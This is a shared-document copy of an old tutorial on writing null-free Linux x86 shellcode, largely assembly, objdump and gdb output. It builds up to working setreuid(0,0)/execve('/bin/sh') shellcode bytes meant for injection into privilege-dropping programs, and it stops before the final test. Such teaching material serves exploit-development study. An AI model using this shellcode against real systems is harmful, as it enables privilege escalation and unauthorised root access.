shell code basics

24
================================= Introduction to Writing Shellcode ================================= |=-------------------=[ Introduction to Writing Shellcode ]=------------------=| |=----------------------------------------------------------------------------=| |=-------------------------=[ [email protected] ]=---------------------- --=| ----[ Introduction to writing shellcode. Shellcode is machine code that when executed spawns a shell, sometimes. Shellcode cannot have any null's in it because it is (usually) treated as a C string and a null will stop the reading of the string, as it is the string delimiter. Not all "shellcode" spawns a shell, this has become a more generic name for a bit of position independant machine readable code that can be dir ectly executed by the cpu. Shellcode must always be position independant - you c annot access any values through static addresses, as these address will not be static in the program that is executing your shellcode - environment variables are t he execption to this rule. Remember to always use the smallest part of a registe r possible to avoid null's, and xor is your friend. To test out the shellcode we will be using this C prog: char shellcode[] = ""; /* global array */ int main (int argc, char **argv) { int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type caste as a function */ (int)(*ret)(); /* execute, as a function, shellcode[] */ exit(0); /* exit() */ }

Upload: abhishek-kunal

Post on 07-Apr-2015

101 views

Category:

Documents


0 download

DESCRIPTION

kunal

TRANSCRIPT

Page 1: Shell Code Basics

=================================Introduction to Writing Shellcode=================================

|=-------------------=[ Introduction to Writing Shellcode ]=------------------=||=----------------------------------------------------------------------------=||=-------------------------=[ [email protected] ]=------------------------=|

----[ Introduction to writing shellcode.

Shellcode is machine code that when executed spawns a shell, sometimes. Shellcode cannot have any null's in it because it is (usually) treated as a C string and a null will stop the reading of the string, as it is the string delimiter. Not all "shellcode" spawns a shell, this has become a more generic name for a bit of position independant machine readable code that can be directly executed by the cpu. Shellcode must always be position independant - you cannot access any values through static addresses, as these address will not be static in the program that is executing your shellcode - environment variables are the execption to this rule. Remember to always use the smallest part of a registerpossible to avoid null's, and xor is your friend.

To test out the shellcode we will be using this C prog:

char shellcode[] = ""; /* global array */intmain (int argc, char **argv){ int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type caste as a function */ (int)(*ret)(); /* execute, as a function, shellcode[] */ exit(0); /* exit() */}

Page 2: Shell Code Basics

Start off with a simple one, just exit.

entropy@phalaris {~/asm/shellcode} cat exit.s

.globl _start_start: xor %eax, %eax # xor anything with itself is 0, so %eax = 0 movb $1, %al # move byte 1 into al(a low), eax contains syscall number

xor %ebx, %ebx # set ebx to 0, ebx contains return value int $0x80 # call kernel

Assemble.

entropy@phalaris {~/asm/shellcode} as exit.s -o exit.o

Link.

entropy@phalaris {~/asm/shellcode} ld exit.o -o exit

Disassemble.

entropy@phalaris {~/asm/shellcode} objdump -d exit

exit: file format elf32-i386

Disassembly of section .text:

08048094 <_start>: 8048094: 31 c0 xor %eax,%eax 8048096: b0 01 mov $0x1,%al 8048098: 31 db xor %ebx,%ebx 804809a: cd 80 int $0x80

^ ^ ^ Address Opcode / Machine Code Assembly

What we are concerned with here is the machine code, so lets make a string

out of it, it should look like this on my box:

Page 3: Shell Code Basics

"\x31\xc0\xb0\x01\x31\xdb\xcd\x80"

And put that into out test code so it looks like:

char shellcode[] = "\x31\xc0\xb0\x01\x31\xdb\xcd\x80";intmain (int argc, char **argv){ int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type casted as a function */ (int)(*ret)(); /* execute as function shellcode[] */ /*exit(0);*/ /* exit() */}

Notice that I commented out the exit(0); as the shellcode will be preforming thatfor us. Compile and run.

entropy@phalaris {~/asm/shellcode} gcc exit_test.c -o exit_test

entropy@phalaris {~/asm/shellcode} ./exit_test

entropy@phalaris {~/asm/shellcode} echo $?0

So it looks like it executed correctly but how to be sure? We can strace it to see what syscall's it executing and look for exit or we can strp through it with gdb, we'll try both.

entropy@phalaris {~/asm/shellcode} strace ./exit_test

execve("./exit_test", ["./exit_test"], [/* 44 vars */]) = 0brk(0) = 0x804a000open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)open("/etc/ld.so.cache", O_RDONLY) = 3fstat64(3, {st_mode=S_IFREG|0644, st_size=59729, ...}) = 0old_mmap(NULL, 59729, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001

Page 4: Shell Code Basics

6000close(3) = 0open("/lib/libc.so.6", O_RDONLY) = 3read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0PS\1\000"..., 512) = 512fstat64(3, {st_mode=S_IFREG|0755, st_size=1201120, ...}) = 0old_mmap(NULL, 1137860, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40025000mprotect(0x40134000, 27844, PROT_NONE) = 0old_mmap(0x40135000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x10f000)= 0x40135000old_mmap(0x40139000, 7364, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,-1, 0) =0x40139000close(3) = 0mprotect(0x40135000, 4096, PROT_READ) = 0munmap(0x40016000, 59729) = 0open("/dev/urandom", O_RDONLY) = 3read(3, "}\30\374\7", 4) = 4close(3) = 0_exit(0) = ?

Here we can see the first syscall execve executing out program, followed by the opening of the dynamic linker/loader ld.so (first preload then cache) to load shared libraries, followed by the opening of libc, followed by its idenitifcation as an ELF file ("\177ELF"), followed by our programing being memory mapped, and finally our call to exit.

And for gdb recompile with debugging symbols.

entropy@phalaris {~/asm/shellcode} gcc -g exit_test.c -o exit_test

entropy@phalaris {~/asm/shellcode} gdb exit_test

GNU gdb 6.3

Page 5: Shell Code Basics

Copyright 2004 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-pc-linux-gnu"...Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) disassemble mainDump of assembler code for function main:0x08048340 <main+0>: push %ebp0x08048341 <main+1>: mov %esp,%ebp0x08048343 <main+3>: sub $0x8,%esp0x08048346 <main+6>: and $0xfffffff0,%esp0x08048349 <main+9>: mov $0x0,%eax0x0804834e <main+14>: sub %eax,%esp0x08048350 <main+16>: movl $0x804955c,0xfffffffc(%ebp)0x08048357 <main+23>: mov 0xfffffffc(%ebp),%eax0x0804835a <main+26>: call *%eax0x0804835c <main+28>: leave0x0804835d <main+29>: retEnd of assembler dump.

(gdb) disas shellcodeDump of assembler code for function shellcode:0x0804955c <shellcode+0>: xor %eax,%eax0x0804955e <shellcode+2>: mov $0x1,%al0x08049560 <shellcode+4>: xor %ebx,%ebx0x08049562 <shellcode+6>: int $0x800x08049564 <shellcode+8>: add %al,(%eax)0x08049566 <shellcode+10>: add %al,(%eax)End of assembler dump.

At line: <main+16>: movl $0x804955c,0xfffffffc(%ebp), the address of our shellcode is being put into the local variable -4(%ebp) (remeber that local variables are always subtracted from ebp and that 0xfffffffc = -4 in 2's complement). Then on the next line <main+23>: mov 0xfffffffc(%ebp),%eax,

Page 6: Shell Code Basics

that address is being put into %eax, and following <main+26>: call *%eax, our shellcode is called to execute. If you look at the disassembly of shellcode ((gdb) disas shellcode) you will see that up until instruction <shellcode+6> that is our assembly we had for exit, so you can be sure that it is executing exit().

Now some shellcode to print a string, this is going to be more complex as now we have to know the issues in creating our shellcode.

1) You can not have nulls in your shellcode.2) You can not use static addresses in your shellcode.

Ok so if we have a string, say its "Hello, World\n", in our shellcode and we

cannot use static addresses how can we possibly get the address of the string to write? If you remember that what the instruction call does, call pushes the next value following it (the return value normally) onto the stack then transfers control to the symbol following call. So if we put the address of our string directly after a call instruction, when call has transfered control to the symbolfollowing it the address of our string will be on the top of the stack and we can just pop it off. Thats what we'll do. Also remeber that anything xor'edwith itself is going to be 0 so its a good way to get something 0 without a movl $0, %reg. Ok we are going to need a write, and an exit so lets get the syscall number and the function definition of these.

entropy@phalaris {~/asm/shellcode} man 2 write

[...snip...]

ssize_t write(int fd, const void *buf, size_t count);

[...snip...]

write() takes the file descriptor to write to (we'll use STDOUT 1), an address

Page 7: Shell Code Basics

of the string to write, and its length.

entropy@phalaris {~/asm/shellcode} grep __NR_write /usr/include/asm/unistd.h#define __NR_write 4

And the write() syscall number is 4, and for exit...

entropy@phalaris {~/asm/shellcode} man 2 exit

[...snip...]

void _exit(int status);

[...snip...]

exit() just takes the exit status, we use 0 for no errors.

entropy@phalaris {~/asm/shellcode} grep __NR_exit /usr/include/asm/unistd.h#define __NR_exit 1

And exit() syscall number is 1.

Lets check out the assembly.

entropy@phalaris {~/asm/shellcode} cat hello.s

.globl _start_start: jmp do_call # 1. jump down and do a call to get the addressjmp_back: # 4. the call transfered control here xor %eax, %eax # 5. set eax to 0 xor %ebx, %ebx # 6. set ebx to 0 xor %ecx, %ecx # 7. set ecx to 0 xor %edx, %edx # 8. set edx to 0 movb $4, %al # 9. 4 is syscall number for write(int fd,char *str, int len) movb $14, %dl # 10. put 14 into dl(d low) its the string length popl %ecx # 11. pop the adrress off the stack, which is the string addr movb $1, %bl # 12. put 1 into bl(b low), its the fd to write to STDOUT int $0x80 # 13. call the kernel

Page 8: Shell Code Basics

xor %eax, %eax # 14. set eax to 0 movb $1, %al # 15. 1 is syscall number for exit xor %ebx, %ebx # 16. set ebx to 0, its the return value int $0x80 # 17. call kerneldo_call: # 2. about to execute the call, notice hello: symbol following call jmp_back # 3. now we have the address of hello on the stack jmp_backhello: .ascii "Hello, World!\n"

So assemble, link and disassemble it.

entropy@phalaris {~/asm/shellcode} as hello.s -o hello.o

entropy@phalaris {~/asm/shellcode} ld hello.o -o hello

entropy@phalaris {~/asm/shellcode} objdump -d hello

hello: file format elf32-i386

Disassembly of section .text:

08048094 <_start>: 8048094: eb 19 jmp 80480af <do_call>

08048096 <jmp_back>: 8048096: 31 c0 xor %eax,%eax 8048098: 31 db xor %ebx,%ebx 804809a: 31 c9 xor %ecx,%ecx 804809c: 31 d2 xor %edx,%edx 804809e: b0 04 mov $0x4,%al 80480a0: b2 0e mov $0xe,%dl 80480a2: 59 pop %ecx 80480a3: b3 01 mov $0x1,%bl 80480a5: cd 80 int $0x80 80480a7: 31 c0 xor %eax,%eax 80480a9: b0 01 mov $0x1,%al 80480ab: 31 db xor %ebx,%ebx 80480ad: cd 80 int $0x80

080480af <do_call>: 80480af: e8 e2 ff ff ff call 8048096 <jmp_back>

Page 9: Shell Code Basics

080480b4 <hello>: 80480b4: 48 dec %eax 80480b5: 65 gs 80480b6: 6c insb (%dx),%es:(%edi) 80480b7: 6c insb (%dx),%es:(%edi) 80480b8: 6f outsl %ds:(%esi),(%dx) 80480b9: 2c 20 sub $0x20,%al 80480bb: 57 push %edi 80480bc: 6f outsl %ds:(%esi),(%dx) 80480bd: 72 6c jb 804812b <hello+0x77> 80480bf: 64 21 0a and %ecx,%fs:(%edx)

The assembly is all pretty understandable until you get down to the <hello>symbol, but if you take a look at an extended ascii chart it will be much clearer. 48 hex is, if you notice, a capital 'H', 65 hex is and 'e', 6c is an 'l' .... these hex chars are also machine code, they are just being interpereted differently. For example '31' can be interperted many different ways depending on how the programmer is representing it, if printing it out so as to represent it as a printable character as in printf("%c\n", 0x31); it print's '1' because as you can see the char '1' in hex according to the ascii chart is 31. If it is an opcode as in our disassembly above "31 c0 xor %eax,%eax" 31 is the machine code for the instruction 'xor'. Its important to rememeber this. So the assembly following the <hello> symbol is really:

H e l l o , W o r l d ! \n48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a

Create the shellcode string from the disassembly, I have:

eb 19 31 c0 31 db 31 c9 31 d2 b0 04 b2 0e 59 b3 01cd 80 31 c0 b0 01 31 db cd 80 e8 e2 ff ff ff 48 656c 6c 6f 2c 20 57 6f 72 6c 64 21 0a

And make a C string out of it, hex chars need a '\x' in front of them:

"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb2\x0e\x59\xb3\x01

Page 10: Shell Code Basics

\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"

Put it in a test file, compile and run it.

entropy@phalaris {~/asm/shellcode} cat hello_test.cchar shellcode[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\ "\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\ "\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\ "\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a";intmain (int argc, char **argv){ int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type casted as a function */ (int)(*ret)(); /* execute as function shellcode[] */ exit(0); /* exit() */}

entropy@phalaris {~/asm/shellcode} gcc -g hello_test.c -o hello_testentropy@phalaris {~/asm/shellcode} ./hello_testHello, World!

entropy@phalaris {~/asm/shellcode} strace ./hello_test

[...snip...]

write(1, "Hello, World!\n", 14Hello, World!) = 14

[...snip...]

You can see the write syscall, and take a look at the disassembly in gdb.

entropy@phalaris {~/asm/shellcode} gdb hello_test

GNU gdb 6.3Copyright 2004 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.

Page 11: Shell Code Basics

Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-pc-linux-gnu"...Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) disas shellcodeDump of assembler code for function shellcode:0x080495c0 <shellcode+0>: jmp 0x80495db <shellcode+27>0x080495c2 <shellcode+2>: xor %eax,%eax0x080495c4 <shellcode+4>: xor %ebx,%ebx0x080495c6 <shellcode+6>: xor %ecx,%ecx0x080495c8 <shellcode+8>: xor %edx,%edx0x080495ca <shellcode+10>: mov $0x4,%al0x080495cc <shellcode+12>: mov $0xe,%dl0x080495ce <shellcode+14>: pop %ecx0x080495cf <shellcode+15>: mov $0x1,%bl0x080495d1 <shellcode+17>: int $0x800x080495d3 <shellcode+19>: xor %eax,%eax0x080495d5 <shellcode+21>: mov $0x1,%al0x080495d7 <shellcode+23>: xor %ebx,%ebx0x080495d9 <shellcode+25>: int $0x800x080495db <shellcode+27>: call 0x80495c2 <shellcode+2>0x080495e0 <shellcode+32>: dec %eax0x080495e1 <shellcode+33>: gs0x080495e2 <shellcode+34>: insb (%dx),%es:(%edi)0x080495e3 <shellcode+35>: insb (%dx),%es:(%edi)0x080495e4 <shellcode+36>: outsl %ds:(%esi),(%dx)0x080495e5 <shellcode+37>: sub $0x20,%al0x080495e7 <shellcode+39>: push %edi0x080495e8 <shellcode+40>: outsl %ds:(%esi),(%dx)0x080495e9 <shellcode+41>: jb 0x80496570x080495eb <shellcode+43>: and %ecx,%fs:(%edx)0x080495ee <shellcode+46>: add %al,(%eax)End of assembler dump.

Here again we can see our jump to the call "jmp 0x80495db <shellcode+27>", and call pushes the next address which is 0x080495e0 (the start of our string) and jumps back to address 0x80495c2 which is "<shellcode+2>: xor %ea

Page 12: Shell Code Basics

x,%eax", and we now have the address we want on the top of the stack.

So how about some real shellcode. First were goign to have to call setreuid() it 0 incase the program we are exploiting drops privs. Next we are going to have to call execve() to execute the shell namely /bin/sh. Again we need the

syscall number and function parameters to both of these functions.

entropy@phalaris {~/asm/shellcode} man 2 setreuid

[...snip...]

int setreuid(uid_t ruid, uid_t euid);

[...snip...]

entropy@phalaris {~/asm/shellcode} grep __NR_setreuid /usr/include/asm/unistd.h#define __NR_setreuid 70

Well this one is simple enough, just something like

xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel

That ones easy. Now for execve.

entropy@phalaris {~/asm/shellcode} man 2 execve

[...snip...]

int execve(const char *filename, char *const argv [], char *const envp[]);

[...snip...]

Fun times, two char ** arguments.

Page 13: Shell Code Basics

entropy@phalaris {~/asm/shellcode} grep __NR_execv* /usr/include/asm/unistd.h#define __NR_execve 11

Ok this ones a little harder. So were going to need a null terminated string, the address of the string and a * null pointer in adjacent memory, that should look something like:

execve("/bin/sh", *"/bin/sh", (char **)NULL);

And in memory /bin/shNXXXXYYYY where /bin/sh is our null terminated string (we must replace N with '\0'), XXXX (4 bytes) is the address of the address

of our string, and YYYY (4 bytes) is the address of the envp[] pointer( which we are goign to call with *NULL). When we are all set to go %eax should have 11 in it, %ebx should have the string address in it, %ecx should have the address of %ebx in it and %edx should have the address of the (char **)NULL string in it.

So lets code this, I ended up with this:

.globl _start_start: # our setreuid(0,0) call xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel # go get the address with the call trick jmp do_calljmp_back: pop %ebx # ebx has the address of our string, use it to index xor %eax, %eax # set eax to 0 movb %al, 7(%ebx) # put a null at the N aka shell[7] movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8] movl %eax, 12(%ebx) # put the null at shell[12] # our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we wa

Page 14: Shell Code Basics

nt. xor %eax, %eax # clear out eax movb $11, %al # put 11 which is execve syscall number into al leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx int $0x80 # call kerneldo_call: call jmp_backshell: .ascii "/bin/shNXXXXYYYY"

entropy@phalaris {~/asm/shellcode} as shell.s -o shell.o

entropy@phalaris {~/asm/shellcode} ld shell.o -o shell

entropy@phalaris {~/asm/shellcode} ./shellSegmentation fault

Thats odd, the code looks to be correct? Lets step through it, in order to break at _start with gdb we have to temporarily put a nop after the _start: label and assemble with -g.

entropy@phalaris {~/asm/shellcode} cat shell.s

.globl _start_start: # our setreuid(0,0) call nop xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel # go get the address with the call trick jmp do_calljmp_back: pop %ebx # ebx has the address of our string, use it to index xor %eax, %eax # set eax to 0 movb %al, 7(%ebx) # put a null at the N aka shell[7] movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8] movl %eax, 12(%ebx) # put the null at shell[12] # our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we wa

Page 15: Shell Code Basics

nt. xor %eax, %eax # clear out eax movb $11, %al # put 11 which is execve syscall number into al leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx int $0x80 # call kerneldo_call: call jmp_backshell: .ascii "/bin/shNXXXXYYYY"

entropy@phalaris {~/asm/shellcode} as -g shell.s -o shell.o

entropy@phalaris {~/asm/shellcode} ld shell.o -o shell

entropy@phalaris {~/asm/shellcode} gdb shellGNU gdb 6.3Copyright 2004 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-pc-linux-gnu"...Using host libthread_db library"/lib/libthread_db.so.1".

(gdb) break *_start+1Breakpoint 1 at 0x8048095: file shell.s, line 5.(gdb) rStarting program: /home/entropy/asm/shellcode/shell

Breakpoint 1, _start () at shell.s:55 xor %eax, %eax # clear out eaxCurrent language: auto; currently asm(gdb) s_start () at shell.s:66 movb $70, %al # mov 70 int al(gdb) s_start () at shell.s:77 xor %ecx, %ecx # set ecx to 0, which is the uid_t euid

Page 16: Shell Code Basics

(gdb) s_start () at shell.s:88 xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (gdb) s_start () at shell.s:99 int $0x80 # call kernel(gdb) s_start () at shell.s:1111 jmp do_call(gdb) sdo_call () at shell.s:2525 call jmp_back(gdb) sjmp_back () at shell.s:1313 pop %ebx # ebx has the address of our string(gdb) sjmp_back () at shell.s:1414 xor %eax, %eax # set eax to 0(gdb) sjmp_back () at shell.s:1515 movb %al, 7(%ebx) # put a null at the N aka shell[7](gdb) s

Program received signal SIGSEGV, Segmentation fault.jmp_back () at shell.s:1515 movb %al, 7(%ebx) # put a null at the N aka shell[7](gdb)

Program terminated with signal SIGSEGV, Segmentation fault.The program no longer exists.(gdb) quit

entropy@phalaris {~/asm/shellcode}

Ok thats odd were not allowed to write to our string? Why is that?Lets check out our sections:

entropy@phalaris {~/asm/shellcode} objdump -x shell

shell: file format elf32-i386shellarchitecture: i386, flags 0x00000112:

Page 17: Shell Code Basics

EXEC_P, HAS_SYMS, D_PAGEDstart address 0x08048094

Program Header: LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x000000ce memsz 0x000000ce flags r-x LOAD off 0x000000d0 vaddr 0x080490d0 paddr 0x080490d0 align 2**12 filesz 0x00000000 memsz 0x00000000 flags rw-PAX_FLAGS off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags --- 2800

Sections:Idx Name Size VMA LMA File off Algn 0 .text 0000003a 08048094 08048094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .data 00000000 080490d0 080490d0 000000d0 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .bss 00000000 080490d0 080490d0 000000d0 2**2 ALLOC 3 .debug_aranges 00000020 00000000 00000000 000000d0 2**3 CONTENTS, READONLY, DEBUGGING 4 .debug_info 00000051 00000000 00000000 000000f0 2**0 CONTENTS, READONLY, DEBUGGING 5 .debug_abbrev 00000014 00000000 00000000 00000141 2**0 CONTENTS, READONLY, DEBUGGING 6 .debug_line 00000043 00000000 00000000 00000155 2**0 CONTENTS, READONLY, DEBUGGING

SYMBOL TABLE:08048094 l d .text 00000000080490d0 l d .data 00000000080490d0 l d .bss 0000000000000000 l d .debug_aranges 0000000000000000 l d .debug_info 0000000000000000 l d .debug_abbrev 0000000000000000 l d .debug_line 0000000000000000 l d *ABS* 0000000000000000 l d *ABS* 0000000000000000 l d *ABS* 00000000

Page 18: Shell Code Basics

080480b9 l .text 00000000 do_call080480a1 l .text 00000000 jmp_back080480be l .text 00000000 shell08048094 g .text 00000000 _start080490d0 g *ABS* 00000000 __bss_start080490d0 g *ABS* 00000000 _edata080490d0 g *ABS* 00000000 _end

Here is the problem our shell string is in the .text or code section that is marked read only, as seen above:

Sections:Idx Name Size VMA LMA File off Algn 0 .text 0000003a 08048094 08048094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE

Lets make our entire program in the .data section.

entropy@phalaris {~/asm/shellcode} cat shell.s.section .data.globl _start_start: # our setreuid(0,0) call xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel # go get the address with the call trick jmp do_calljmp_back: pop %ebx # ebx has the address of our string, use it to index xor %eax, %eax # set eax to 0 movb %al, 7(%ebx) # put a null at the N aka shell[7] movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8] movl %eax, 12(%ebx) # put the null at shell[12] # our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we want. xor %eax, %eax # clear out eax movb $11, %al # put 11 which is execve syscall number into al leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx

Page 19: Shell Code Basics

int $0x80 # call kerneldo_call: call jmp_backshell: .ascii "/bin/shNXXXXYYYY"

entropy@phalaris {~/asm/shellcode} as -g shell.s -o shell.o

entropy@phalaris {~/asm/shellcode} ld shell.o -o shell

entropy@phalaris {~/asm/shellcode} objdump -x shell

shell: file format elf32-i386shellarchitecture: i386, flags 0x00000112:EXEC_P, HAS_SYMS, D_PAGEDstart address 0x08049094

Program Header: LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x00000094 memsz 0x00000094 flags r-x LOAD off 0x00000094 vaddr 0x08049094 paddr 0x08049094 align 2**12 filesz 0x00000039 memsz 0x0000003c flags rw-PAX_FLAGS off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags --- 2800

Sections:Idx Name Size VMA LMA File off Algn 0 .text 00000000 08048094 08048094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .data 00000039 08049094 08049094 00000094 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .bss 00000000 080490d0 080490d0 000000cd 2**2 ALLOC 3 .debug_aranges 00000020 00000000 00000000 000000d0 2**3 CONTENTS, READONLY, DEBUGGING 4 .debug_info 00000051 00000000 00000000 000000f0 2**0 CONTENTS, READONLY, DEBUGGING 5 .debug_abbrev 00000014 00000000 00000000 00000141 2**0

Page 20: Shell Code Basics

CONTENTS, READONLY, DEBUGGING 6 .debug_line 00000042 00000000 00000000 00000155 2**0 CONTENTS, READONLY, DEBUGGING

SYMBOL TABLE:08048094 l d .text 0000000008049094 l d .data 00000000080490d0 l d .bss 0000000000000000 l d .debug_aranges 0000000000000000 l d .debug_info 0000000000000000 l d .debug_abbrev 0000000000000000 l d .debug_line 0000000000000000 l d *ABS* 0000000000000000 l d *ABS* 0000000000000000 l d *ABS* 00000000080490b8 l .data 00000000 do_call080490a0 l .data 00000000 jmp_back080490bd l .data 00000000 shell08049094 g .data 00000000 _start080490cd g *ABS* 00000000 __bss_start080490cd g *ABS* 00000000 _edata080490d0 g *ABS* 00000000 _end

Ok much better now our shell string is in the data section 080490bd l .data 00000000 shell

The .data section is not marked read only.

1 .data 00000039 08049094 08049094 00000094 2**2 CONTENTS, ALLOC, LOAD, DATA

And try out he shell.

entropy@phalaris {~/asm/shellcode} ./shell

sh-2.05b$ exitexit

So that works, now that we have all our code in the .data section to get our machine code we need to use the -D. First reassemble and link without debugging info.

Page 21: Shell Code Basics

entropy@phalaris {~/asm/shellcode} as shell.s -o shell.o

entropy@phalaris {~/asm/shellcode} ld shell.o -o shell

chown and u+s it to make sure it wont drop privs.

entropy@phalaris {~/asm/shellcode} sudo chown root shell

entropy@phalaris {~/asm/shellcode} sudo chmod 4750 shell

entropy@phalaris {~/asm/shellcode} ls -la shell-rwsr-x--- 1 root users 811 Sep 4 13:16 shell

entropy@phalaris {~/asm/shellcode} ./shellsh-2.05b# iduid=0(root) gid=100(users) groups=6(disk),10(wheel),18(audio),100(users)sh-2.05b#

Looks good, disassemble.

entropy@phalaris {~/asm/shellcode} rm shellrm: remove write-protected regular file `shell'? y

entropy@phalaris {~/asm/shellcode} as shell.s -o shell.o

entropy@phalaris {~/asm/shellcode} ld shell.o -o shell

entropy@phalaris {~/asm/shellcode} objdump -D shell

shell: file format elf32-i386

Disassembly of section .data:08049094 <_start>: 8049094: 31 c0 xor %eax,%eax 8049096: b0 46 mov $0x46,%al 8049098: 31 c9 xor %ecx,%ecx 804909a: 31 db xor %ebx,%ebx 804909c: cd 80 int $0x80 804909e: eb 18 jmp 80490b8 <do_call>

080490a0 <jmp_back>:

Page 22: Shell Code Basics

80490a0: 5b pop %ebx 80490a1: 31 c0 xor %eax,%eax 80490a3: 88 43 07 mov %al,0x7(%ebx) 80490a6: 89 5b 08 mov %ebx,0x8(%ebx) 80490a9: 89 43 0c mov %eax,0xc(%ebx) 80490ac: 31 c0 xor %eax,%eax 80490ae: b0 0b mov $0xb,%al 80490b0: 8d 4b 08 lea 0x8(%ebx),%ecx 80490b3: 8d 53 0c lea 0xc(%ebx),%edx 80490b6: cd 80 int $0x80

080490b8 <do_call>: 80490b8: e8 e3 ff ff ff call 80490a0 <jmp_back>

080490bd <shell>: 80490bd: 2f das 80490be: 62 69 6e bound %ebp,0x6e(%ecx) 80490c1: 2f das 80490c2: 73 68 jae 804912c <_end+0x5c> 80490c4: 4e dec %esi 80490c5: 58 pop %eax 80490c6: 58 pop %eax 80490c7: 58 pop %eax 80490c8: 58 pop %eax 80490c9: 59 pop %ecx 80490ca: 59 pop %ecx 80490cb: 59 pop %ecx 80490cc: 59 pop %ecx

The machine code I get is:

31 c0 b0 46 31 c9 31 db cd 80 eb 18 5b 31 c0 88 43 07 89 5b 08 89 43 0c 31 c0 b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 68 4e 58 58 58 58 59 59 59 59

We no longer need the NXXXXYYYY after /bin/sh as that was just to make it easier on us and to reserve space, remove that end end up with:

31 c0 b0 46 31 c9 31 db cd 80 eb 18 5b 31 c0 88 43 07 89 5b 08 89 43 0c 31 c0 b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 68

Page 23: Shell Code Basics

Now we have the code that can be injected, lets try it on our test.

entropy@phalaris {~/asm/shellcode} cat shell_test.c

